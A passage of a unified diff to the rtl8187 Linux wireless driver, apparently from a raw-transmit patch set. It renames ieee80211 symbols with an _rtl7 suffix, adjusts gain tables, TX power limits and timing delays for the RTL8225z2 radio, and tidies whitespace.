-extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-06-21 23:44:42.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-06-21 23:44:38.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-06-21 23:44:42.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-06-21 23:44:38.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-06-25 23:58:06.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); 